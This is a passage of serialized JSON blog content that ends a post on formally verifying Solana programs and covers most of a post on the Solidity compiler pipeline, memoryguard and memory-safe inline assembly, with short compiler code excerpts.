extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":25,"tag":38,"props":32812,"children":32813},{},[32814,32816,32821,32823,32828,32830,32835,32837,32842,32844,32849,32851,32856],{"type":31,"value":32815},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":25,"tag":82,"props":32817,"children":32819},{"className":32818},[],[32820],{"type":31,"value":900},{"type":31,"value":32822}," or a 32-byte ",{"type":25,"tag":82,"props":32824,"children":32826},{"className":32825},[],[32827],{"type":31,"value":25352},{"type":31,"value":32829},". Instead, our tool can substitute in ",{"type":25,"tag":64,"props":32831,"children":32832},{},[32833],{"type":31,"value":32834},"cheaper",{"type":31,"value":32836}," types and functions, such as a 4-byte ",{"type":25,"tag":82,"props":32838,"children":32840},{"className":32839},[],[32841],{"type":31,"value":25352},{"type":31,"value":32843}," struct and a fixed-size, array-backed ",{"type":25,"tag":82,"props":32845,"children":32847},{"className":32846},[],[32848],{"type":31,"value":900},{"type":31,"value":32850}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":25,"tag":64,"props":32852,"children":32853},{},[32854],{"type":31,"value":32855},"much",{"type":31,"value":32857}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":25,"tag":38,"props":32859,"children":32860},{},[32861],{"type":31,"value":32862},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":25,"tag":607,"props":32864,"children":32866},{"id":32865},"runtime-environment",[32867],{"type":31,"value":32868},"Runtime Environment",{"type":25,"tag":38,"props":32870,"children":32871},{},[32872],{"type":31,"value":32873},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":25,"tag":38,"props":32875,"children":32876},{},[32877],{"type":31,"value":32878},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":25,"tag":38,"props":32880,"children":32881},{},[32882],{"type":31,"value":32883},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":25,"tag":26,"props":32885,"children":32887},{"id":32886},"conclusion",[32888],{"type":31,"value":22901},{"type":25,"tag":38,"props":32890,"children":32891},{},[32892],{"type":31,"value":32893},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":25,"tag":38,"props":32895,"children":32896},{},[32897],{"type":31,"value":32898},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":25,"tag":22747,"props":32900,"children":32901},{},[],{"type":25,"tag":38,"props":32903,"children":32904},{},[32905],{"type":25,"tag":64,"props":32906,"children":32907},{},[32908,32910,32915,32916,32920],{"type":31,"value":32909},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":25,"tag":162,"props":32911,"children":32913},{"href":22830,"rel":32912},[166],[32914],{"type":31,"value":22834},{"type":31,"value":22836},{"type":25,"tag":162,"props":32917,"children":32918},{"href":22839},[32919],{"type":31,"value":22842},{"type":31,"value":179},{"type":25,"tag":9310,"props":32922,"children":32923},{},[32924],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":32926},[32927,32933,32937,32942,32948,32952],{"id":22904,"depth":6763,"text":22907,"children":32928},[32929,32930,32931,32932],{"id":22910,"depth":6772,"text":22913},{"id":22978,"depth":6772,"text":22981},{"id":23858,"depth":6772,"text":23861},{"id":23898,"depth":6772,"text":23901},{"id":23951,"depth":6763,"text":32934,"children":32935},"Specification: How can we describe what we want our program to do?",[32936],{"id":24065,"depth":6772,"text":24068},{"id":25424,"depth":6763,"text":25427,"children":32938},[32939,32940,32941],{"id":26086,"depth":6772,"text":26089},{"id":26371,"depth":6772,"text":26374},{"id":26515,"depth":6772,"text":26518},{"id":26656,"depth":6763,"text":26659,"children":32943},[32944,32945,32946,32947],{"id":26727,"depth":6772,"text":26730},{"id":28590,"depth":6772,"text":28593},{"id":29392,"depth":6772,"text":26719},{"id":31918,"depth":6772,"text":26724},{"id":32758,"depth":6763,"text":32761,"children":32949},[32950,32951],{"id":32764,"depth":6772,"text":32767},{"id":32865,"depth":6772,"text":32868},{"id":32886,"depth":6763,"text":22901},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":32957,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32958,"description":32959,"author":9664,"image":32960,"date":32962,"isFeatured":16,"onBlogPage":16,"tags":32963,"body":32965,"_type":6792,"_id":34385,"_source":6794,"_file":34386,"_stem":34387,"_extension":6797},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":32961,"height":17574,"width":17574},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[8416,32964],"compiler",{"type":22,"children":32966,"toc":34376},[32967,32973,33009,33021,33027,33049,33062,33210,33231,33236,33257,33262,33270,33275,33280,33285,33291,33310,33315,33336,33399,33412,33442,33462,33489,33494,33507,33512,33517,33530,33561,33584,33738,33756,33807,33826,33851,33856,33862,33889,33909,33937,33942,33964,33983,33991,34002,34007,34023,34280,34288,34293,34297,34302,34307,34372],{"type":25,"tag":26,"props":32968,"children":32970},{"id":32969},"introduction",[32971],{"type":31,"value":32972},"Introduction",{"type":25,"tag":38,"props":32974,"children":32975},{},[32976,32978,32984,32985,32989,32991,32998,33000,33007],{"type":31,"value":32977},"What does ",{"type":25,"tag":82,"props":32979,"children":32981},{"className":32980},[],[32982],{"type":31,"value":32983},"memory-safe",{"type":31,"value":10403},{"type":25,"tag":64,"props":32986,"children":32987},{},[32988],{"type":31,"value":13238},{"type":31,"value":32990}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":25,"tag":162,"props":32992,"children":32995},{"href":32993,"rel":32994},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[166],[32996],{"type":31,"value":32997},"presents some requirements",{"type":31,"value":32999},", but is production code that ",{"type":25,"tag":162,"props":33001,"children":33004},{"href":33002,"rel":33003},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[166],[33005],{"type":31,"value":33006},"violates these requirements",{"type":31,"value":33008}," necessarily unsafe?",{"type":25,"tag":38,"props":33010,"children":33011},{},[33012,33014,33019],{"type":31,"value":33013},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":25,"tag":64,"props":33015,"children":33016},{},[33017],{"type":31,"value":33018},"memory-safety",{"type":31,"value":33020}," actually means.",{"type":25,"tag":26,"props":33022,"children":33024},{"id":33023},"compiler-pipeline",[33025],{"type":31,"value":33026},"Compiler Pipeline",{"type":25,"tag":38,"props":33028,"children":33029},{},[33030,33032,33039,33041,33048],{"type":31,"value":33031},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":25,"tag":162,"props":33033,"children":33036},{"href":33034,"rel":33035},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[166],[33037],{"type":31,"value":33038},"released in v0.8.13",{"type":31,"value":33040},". Compilation happens ",{"type":25,"tag":162,"props":33042,"children":33045},{"href":33043,"rel":33044},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[166],[33046],{"type":31,"value":33047},"in two main steps",{"type":31,"value":1466},{"type":25,"tag":6705,"props":33050,"children":33051},{},[33052,33057],{"type":25,"tag":2037,"props":33053,"children":33054},{},[33055],{"type":31,"value":33056},"Solidity to YUL IR",{"type":25,"tag":2037,"props":33058,"children":33059},{},[33060],{"type":31,"value":33061},"YUL IR to EVM opcodes",{"type":25,"tag":206,"props":33063,"children":33067},{"className":33064,"code":33065,"language":33066,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[33068],{"type":25,"tag":82,"props":33069,"children":33070},{"__ignoreMap":7},[33071,33101,33122,33134,33142,33154,33174,33182,33203],{"type":25,"tag":216,"props":33072,"children":33073},{"class":6916,"line":6917},[33074,33078,33083,33087,33092,33096],{"type":25,"tag":216,"props":33075,"children":33076},{"style":6967},[33077],{"type":31,"value":16229},{"type":25,"tag":216,"props":33079,"children":33080},{"style":6958},[33081],{"type":31,"value":33082}," (m_viaIR ",{"type":25,"tag":216,"props":33084,"children":33085},{"style":6947},[33086],{"type":31,"value":26358},{"type":25,"tag":216,"props":33088,"children":33089},{"style":6958},[33090],{"type":31,"value":33091}," m_generateIR ",{"type":25,"tag":216,"props":33093,"children":33094},{"style":6947},[33095],{"type":31,"value":26358},{"type":25,"tag":216,"props":33097,"children":33098},{"style":6958},[33099],{"type":31,"value":33100}," m_generateEwasm)\n",{"type":25,"tag":216,"props":33102,"children":33103},{"class":6916,"line":6763},[33104,33109,33113,33117],{"type":25,"tag":216,"props":33105,"children":33106},{"style":7041},[33107],{"type":31,"value":33108},"        generateIR",{"type":25,"tag":216,"props":33110,"children":33111},{"style":6958},[33112],{"type":31,"value":1844},{"type":25,"tag":216,"props":33114,"children":33115},{"style":6947},[33116],{"type":31,"value":8513},{"type":25,"tag":216,"props":33118,"children":33119},{"style":6958},[33120],{"type":31,"value":33121},"contract);\n",{"type":25,"tag":216,"props":33123,"children":33124},{"class":6916,"line":6772},[33125,33129],{"type":25,"tag":216,"props":33126,"children":33127},{"style":6967},[33128],{"type":31,"value":16229},{"type":25,"tag":216,"props":33130,"children":33131},{"style":6958},[33132],{"type":31,"value":33133}," (m_generateEvmBytecode)\n",{"type":25,"tag":216,"props":33135,"children":33136},{"class":6916,"line":6999},[33137],{"type":25,"tag":216,"props":33138,"children":33139},{"style":6958},[33140],{"type":31,"value":33141},"    {\n",{"type":25,"tag":216,"props":33143,"children":33144},{"class":6916,"line":7104},[33145,33149],{"type":25,"tag":216,"props":33146,"children":33147},{"style":6967},[33148],{"type":31,"value":7216},{"type":25,"tag":216,"props":33150,"children":33151},{"style":6958},[33152],{"type":31,"value":33153}," (m_viaIR)\n",{"type":25,"tag":216,"props":33155,"children":33156},{"class":6916,"line":7210},[33157,33162,33166,33170],{"type":25,"tag":216,"props":33158,"children":33159},{"style":7041},[33160],{"type":31,"value":33161},"            generateEVMFromIR",{"type":25,"tag":216,"props":33163,"children":33164},{"style":6958},[33165],{"type":31,"value":1844},{"type":25,"tag":216,"props":33167,"children":33168},{"style":6947},[33169],{"type":31,"value":8513},{"type":25,"tag":216,"props":33171,"children":33172},{"style":6958},[33173],{"type":31,"value":33121},{"type":25,"tag":216,"props":33175,"children":33176},{"class":6916,"line":7238},[33177],{"type":25,"tag":216,"props":33178,"children":33179},{"style":6967},[33180],{"type":31,"value":33181},"        else\n",{"type":25,"tag":216,"props":33183,"children":33184},{"class":6916,"line":7251},[33185,33190,33194,33198],{"type":25,"tag":216,"props":33186,"children":33187},{"style":7041},[33188],{"type":31,"value":33189},"            compileContract",{"type":25,"tag":216,"props":33191,"children":33192},{"style":6958},[33193],{"type":31,"value":1844},{"type":25,"tag":216,"props":33195,"children":33196},{"style":6947},[33197],{"type":31,"value":8513},{"type":25,"tag":216,"props":33199,"children":33200},{"style":6958},[33201],{"type":31,"value":33202},"contract, otherCompilers);\n",{"type":25,"tag":216,"props":33204,"children":33205},{"class":6916,"line":7269},[33206],{"type":25,"tag":216,"props":33207,"children":33208},{"style":6958},[33209],{"type":31,"value":7305},{"type":25,"tag":38,"props":33211,"children":33212},{},[33213,33215,33222,33223,33230],{"type":31,"value":33214},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":25,"tag":162,"props":33216,"children":33219},{"href":33217,"rel":33218},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[166],[33220],{"type":31,"value":33221},"YulStack::optimize",{"type":31,"value":1301},{"type":25,"tag":162,"props":33224,"children":33227},{"href":33225,"rel":33226},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[166],[33228],{"type":31,"value":33229},"Assembly::optimize",{"type":31,"value":179},{"type":25,"tag":38,"props":33232,"children":33233},{},[33234],{"type":31,"value":33235},"In total, there are four steps.",{"type":25,"tag":6705,"props":33237,"children":33238},{},[33239,33243,33248,33252],{"type":25,"tag":2037,"props":33240,"children":33241},{},[33242],{"type":31,"value":33056},{"type":25,"tag":2037,"props":33244,"children":33245},{},[33246],{"type":31,"value":33247},"Optimization of YUL IR",{"type":25,"tag":2037,"props":33249,"children":33250},{},[33251],{"type":31,"value":33061},{"type":25,"tag":2037,"props":33253,"children":33254},{},[33255],{"type":31,"value":33256},"Optimization of EVM opcodes",{"type":25,"tag":38,"props":33258,"children":33259},{},[33260],{"type":31,"value":33261},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":25,"tag":34,"props":33263,"children":33264},{},[33265],{"type":25,"tag":38,"props":33266,"children":33267},{},[33268],{"type":31,"value":33269},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":25,"tag":38,"props":33271,"children":33272},{},[33273],{"type":31,"value":33274},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":25,"tag":38,"props":33276,"children":33277},{},[33278],{"type":31,"value":33279},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":25,"tag":38,"props":33281,"children":33282},{},[33283],{"type":31,"value":33284},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":25,"tag":26,"props":33286,"children":33288},{"id":33287},"guarantees",[33289],{"type":31,"value":33290},"Guarantees",{"type":25,"tag":38,"props":33292,"children":33293},{},[33294,33295,33302,33304,33309],{"type":31,"value":474},{"type":25,"tag":162,"props":33296,"children":33299},{"href":33297,"rel":33298},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[166],[33300],{"type":31,"value":33301},"Solidity memory layout",{"type":31,"value":33303}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":25,"tag":64,"props":33305,"children":33306},{},[33307],{"type":31,"value":33308},"no information about this layout",{"type":31,"value":179},{"type":25,"tag":38,"props":33311,"children":33312},{},[33313],{"type":31,"value":33314},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":25,"tag":38,"props":33316,"children":33317},{},[33318,33320,33326,33328,33334],{"type":31,"value":33319},"Introducing ",{"type":25,"tag":82,"props":33321,"children":33323},{"className":33322},[],[33324],{"type":31,"value":33325},"memoryguard",{"type":31,"value":33327},". If you've ever looked at the output of ",{"type":25,"tag":82,"props":33329,"children":33331},{"className":33330},[],[33332],{"type":31,"value":33333},"solc --ir",{"type":31,"value":33335},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":25,"tag":206,"props":33337,"children":33339},{"className":8417,"code":33338,"language":8416,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[33340],{"type":25,"tag":82,"props":33341,"children":33342},{"__ignoreMap":7},[33343,33361],{"type":25,"tag":216,"props":33344,"children":33345},{"class":6916,"line":6917},[33346,33351,33356],{"type":25,"tag":216,"props":33347,"children":33348},{"style":6921},[33349],{"type":31,"value":33350},"    /// @src 0:26:371  \"contract ",{"type":25,"tag":216,"props":33352,"children":33353},{"style":6930},[33354],{"type":31,"value":33355},"XXX",{"type":25,"tag":216,"props":33357,"children":33358},{"style":6921},[33359],{"type":31,"value":33360}," {...\"\n",{"type":25,"tag":216,"props":33362,"children":33363},{"class":6916,"line":6763},[33364,33369,33373,33378,33382,33386,33390,33395],{"type":25,"tag":216,"props":33365,"children":33366},{"style":7041},[33367],{"type":31,"value":33368},"    store",{"type":25,"tag":216,"props":33370,"children":33371},{"style":6958},[33372],{"type":31,"value":1844},{"type":25,"tag":216,"props":33374,"children":33375},{"style":6983},[33376],{"type":31,"value":33377},"64",{"type":25,"tag":216,"props":33379,"children":33380},{"style":6958},[33381],{"type":31,"value":7020},{"type":25,"tag":216,"props":33383,"children":33384},{"style":7041},[33385],{"type":31,"value":33325},{"type":25,"tag":216,"props":33387,"children":33388},{"style":6958},[33389],{"type":31,"value":1844},{"type":25,"tag":216,"props":33391,"children":33392},{"style":6983},[33393],{"type":31,"value":33394},"0x80",{"type":25,"tag":216,"props":33396,"children":33397},{"style":6958},[33398],{"type":31,"value":23666},{"type":25,"tag":38,"props":33400,"children":33401},{},[33402,33404,33411],{"type":31,"value":33403},"From ",{"type":25,"tag":162,"props":33405,"children":33408},{"href":33406,"rel":33407},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[166],[33409],{"type":31,"value":33410},"the documentation",{"type":31,"value":1861},{"type":25,"tag":34,"props":33413,"children":33414},{},[33415],{"type":25,"tag":38,"props":33416,"children":33417},{},[33418,33420,33426,33428,33434,33436,33441],{"type":31,"value":33419},"The caller of ",{"type":25,"tag":82,"props":33421,"children":33423},{"className":33422},[],[33424],{"type":31,"value":33425},"let ptr := memoryguard(size)",{"type":31,"value":33427}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":25,"tag":82,"props":33429,"children":33431},{"className":33430},[],[33432],{"type":31,"value":33433},"[0, size)",{"type":31,"value":33435}," or the unbounded range starting at ",{"type":25,"tag":82,"props":33437,"children":33439},{"className":33438},[],[33440],{"type":31,"value":17900},{"type":31,"value":179},{"type":25,"tag":38,"props":33443,"children":33444},{},[33445,33447,33452,33454,33460],{"type":31,"value":33446},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":25,"tag":82,"props":33448,"children":33450},{"className":33449},[],[33451],{"type":31,"value":33325},{"type":31,"value":33453}," return ",{"type":25,"tag":82,"props":33455,"children":33457},{"className":33456},[],[33458],{"type":31,"value":33459},"size + 32",{"type":31,"value":33461},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":25,"tag":38,"props":33463,"children":33464},{},[33465,33467,33474,33476,33481,33483,33488],{"type":31,"value":33466},"An example of this optimization in practice ",{"type":25,"tag":162,"props":33468,"children":33471},{"href":33469,"rel":33470},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[166],[33472],{"type":31,"value":33473},"is the StackLimitEvader",{"type":31,"value":33475},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":25,"tag":64,"props":33477,"children":33478},{},[33479],{"type":31,"value":33480},"only",{"type":31,"value":33482}," optimization pass that relies on the semantic information communicated by ",{"type":25,"tag":82,"props":33484,"children":33486},{"className":33485},[],[33487],{"type":31,"value":33325},{"type":31,"value":179},{"type":25,"tag":38,"props":33490,"children":33491},{},[33492],{"type":31,"value":33493},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":25,"tag":38,"props":33495,"children":33496},{},[33497,33499,33505],{"type":31,"value":33498},"Fear not, for we can remove this pointer entirely and call ",{"type":25,"tag":82,"props":33500,"children":33502},{"className":33501},[],[33503],{"type":31,"value":33504},"memoryguard(0x60)",{"type":31,"value":33506}," instead. The rest of the pipeline will still work.",{"type":25,"tag":26,"props":33508,"children":33509},{"id":33018},[33510],{"type":31,"value":33511},"Memory Safety",{"type":25,"tag":38,"props":33513,"children":33514},{},[33515],{"type":31,"value":33516},"So what does memory safety mean?",{"type":25,"tag":38,"props":33518,"children":33519},{},[33520,33522,33528],{"type":31,"value":33521},"The Solidity documentation provides ",{"type":25,"tag":162,"props":33523,"children":33525},{"href":32993,"rel":33524},[166],[33526],{"type":31,"value":33527},"a set of constraints",{"type":31,"value":33529},", not a definition.",{"type":25,"tag":34,"props":33531,"children":33532},{},[33533,33538],{"type":25,"tag":38,"props":33534,"children":33535},{},[33536],{"type":31,"value":33537},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":25,"tag":6705,"props":33539,"children":33540},{},[33541,33546,33551,33556],{"type":25,"tag":2037,"props":33542,"children":33543},{},[33544],{"type":31,"value":33545},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":25,"tag":2037,"props":33547,"children":33548},{},[33549],{"type":31,"value":33550},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":25,"tag":2037,"props":33552,"children":33553},{},[33554],{"type":31,"value":33555},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":25,"tag":2037,"props":33557,"children":33558},{},[33559],{"type":31,"value":33560},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":25,"tag":38,"props":33562,"children":33563},{},[33564,33566,33573,33583],{"type":31,"value":33565},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":25,"tag":162,"props":33567,"children":33570},{"href":33568,"rel":33569},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[166],[33571],{"type":31,"value":33572},"removes the memory guard",{"type":25,"tag":19425,"props":33574,"children":33575},{},[33576],{"type":25,"tag":162,"props":33577,"children":33581},{"href":33578,"ariaDescribedBy":33579,"dataFootnoteRef":7,"id":33580},"#user-content-fn-1",[19432],"user-content-fnref-1",[33582],{"type":31,"value":184},{"type":31,"value":179},{"type":25,"tag":206,"props":33585,"children":33587},{"className":33064,"code":33586,"language":33066,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[33588],{"type":25,"tag":82,"props":33589,"children":33590},{"__ignoreMap":7},[33591,33599,33607,33614,33650,33657,33665,33673,33681,33689,33697,33710,33723,33731],{"type":25,"tag":216,"props":33592,"children":33593},{"class":6916,"line":6917},[33594],{"type":25,"tag":216,"props":33595,"children":33596},{"style":6921},[33597],{"type":31,"value":33598},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":25,"tag":216,"props":33600,"children":33601},{"class":6916,"line":6763},[33602],{"type":25,"tag":216,"props":33603,"children":33604},{"style":6921},[33605],{"type":31,"value":33606},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":25,"tag":216,"props":33608,"children":33609},{"class":6916,"line":6772},[33610],{"type":25,"tag":216,"props":33611,"children":33612},{"emptyLinePlaceholder":16},[33613],{"type":31,"value":7636},{"type":25,"tag":216,"props":33615,"children":33616},{"class":6916,"line":6999},[33617,33622,33627,33632,33636,33641,33646],{"type":25,"tag":216,"props":33618,"children":33619},{"style":7369},[33620],{"type":31,"value":33621},"string",{"type":25,"tag":216,"props":33623,"children":33624},{"style":6958},[33625],{"type":31,"value":33626}," IRGenerator::",{"type":25,"tag":216,"props":33628,"children":33629},{"style":7041},[33630],{"type":31,"value":33631},"memoryInit",{"type":25,"tag":216,"props":33633,"children":33634},{"style":6958},[33635],{"type":31,"value":1844},{"type":25,"tag":216,"props":33637,"children":33638},{"style":6930},[33639],{"type":31,"value":33640},"bool",{"type":25,"tag":216,"props":33642,"children":33643},{"style":6941},[33644],{"type":31,"value":33645}," _useMemoryGuard",{"type":25,"tag":216,"props":33647,"children":33648},{"style":6958},[33649],{"type":31,"value":7101},{"type":25,"tag":216,"props":33651,"children":33652},{"class":6916,"line":7104},[33653],{"type":25,"tag":216,"props":33654,"children":33655},{"style":6958},[33656],{"type":31,"value":14830},{"type":25,"tag":216,"props":33658,"children":33659},{"class":6916,"line":7210},[33660],{"type":25,"tag":216,"props":33661,"children":33662},{"style":6921},[33663],{"type":31,"value":33664}," // This function should be called at the beginning of the EVM call frame\n",{"type":25,"tag":216,"props":33666,"children":33667},{"class":6916,"line":7238},[33668],{"type":25,"tag":216,"props":33669,"children":33670},{"style":6921},[33671],{"type":31,"value":33672}," // and thus can assume all memory to be zero, including the contents of\n",{"type":25,"tag":216,"props":33674,"children":33675},{"class":6916,"line":7251},[33676],{"type":25,"tag":216,"props":33677,"children":33678},{"style":6921},[33679],{"type":31,"value":33680}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":25,"tag":216,"props":33682,"children":33683},{"class":6916,"line":7269},[33684],{"type":25,"tag":216,"props":33685,"children":33686},{"style":6967},[33687],{"type":31,"value":33688}," return\n",{"type":25,"tag":216,"props":33690,"children":33691},{"class":6916,"line":7290},[33692],{"type":25,"tag":216,"props":33693,"children":33694},{"style":6958},[33695],{"type":31,"value":33696},"  Whiskers{\n",{"type":25,"tag":216,"props":33698,"children":33699},{"class":6916,"line":7299},[33700,33705],{"type":25,"tag":216,"props":33701,"children":33702},{"style":6958},[33703],{"type":31,"value":33704},"   _useMemoryGuard ",{"type":25,"tag":216,"props":33706,"children":33707},{"style":6947},[33708],{"type":31,"value":33709},"?\n",{"type":25,"tag":216,"props":33711,"children":33712},{"class":6916,"line":7551},[33713,33718],{"type":25,"tag":216,"props":33714,"children":33715},{"style":8199},[33716],{"type":31,"value":33717},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":25,"tag":216,"props":33719,"children":33720},{"style":6947},[33721],{"type":31,"value":33722}," :\n",{"type":25,"tag":216,"props":33724,"children":33725},{"class":6916,"line":7568},[33726],{"type":25,"tag":216,"props":33727,"children":33728},{"style":8199},[33729],{"type":31,"value":33730},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":25,"tag":216,"props":33732,"children":33733},{"class":6916,"line":7585},[33734],{"type":25,"tag":216,"props":33735,"children":33736},{"style":6958},[33737],{"type":31,"value":9817},{"type":25,"tag":38,"props":33739,"children":33740},{},[33741,33746,33748,33754],{"type":25,"tag":82,"props":33742,"children":33744},{"className":33743},[],[33745],{"type":31,"value":33333},{"type":31,"value":33747}," will now no longer have ",{"type":25,"tag":82,"props":33749,"children":33751},{"className":33750},[],[33752],{"type":31,"value":33753},"memoryguard(0x80)",{"type":31,"value":33755}," as expected.",{"type":25,"tag":206,"props":33757,"children":33759},{"className":8417,"code":33758,"language":8416,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[33760],{"type":25,"tag":82,"props":33761,"children":33762},{"__ignoreMap":7},[33763,33778],{"type":25,"tag":216,"props":33764,"children":33765},{"class":6916,"line":6917},[33766,33770,33774],{"type":25,"tag":216,"props":33767,"children":33768},{"style":6921},[33769],{"type":31,"value":33350},{"type":25,"tag":216,"props":33771,"children":33772},{"style":6930},[33773],{"type":31,"value":33355},{"type":25,"tag":216,"props":33775,"children":33776},{"style":6921},[33777],{"type":31,"value":33360},{"type":25,"tag":216,"props":33779,"children":33780},{"class":6916,"line":6763},[33781,33786,33790,33794,33798,33803],{"type":25,"tag":216,"props":33782,"children":33783},{"style":7041},[33784],{"type":31,"value":33785},"    mstore",{"type":25,"tag":216,"props":33787,"children":33788},{"style":6958},[33789],{"type":31,"value":1844},{"type":25,"tag":216,"props":33791,"children":33792},{"style":6983},[33793],{"type":31,"value":33377},{"type":25,"tag":216,"props":33795,"children":33796},{"style":6958},[33797],{"type":31,"value":7020},{"type":25,"tag":216,"props":33799,"children":33800},{"style":6983},[33801],{"type":31,"value":33802},"128",{"type":25,"tag":216,"props":33804,"children":33805},{"style":6958},[33806],{"type":31,"value":7101},{"type":25,"tag":38,"props":33808,"children":33809},{},[33810,33812,33817,33819,33824],{"type":31,"value":33811},"Semantically, the absence of ",{"type":25,"tag":82,"props":33813,"children":33815},{"className":33814},[],[33816],{"type":31,"value":33325},{"type":31,"value":33818}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":25,"tag":82,"props":33820,"children":33822},{"className":33821},[],[33823],{"type":31,"value":33325},{"type":31,"value":33825}," 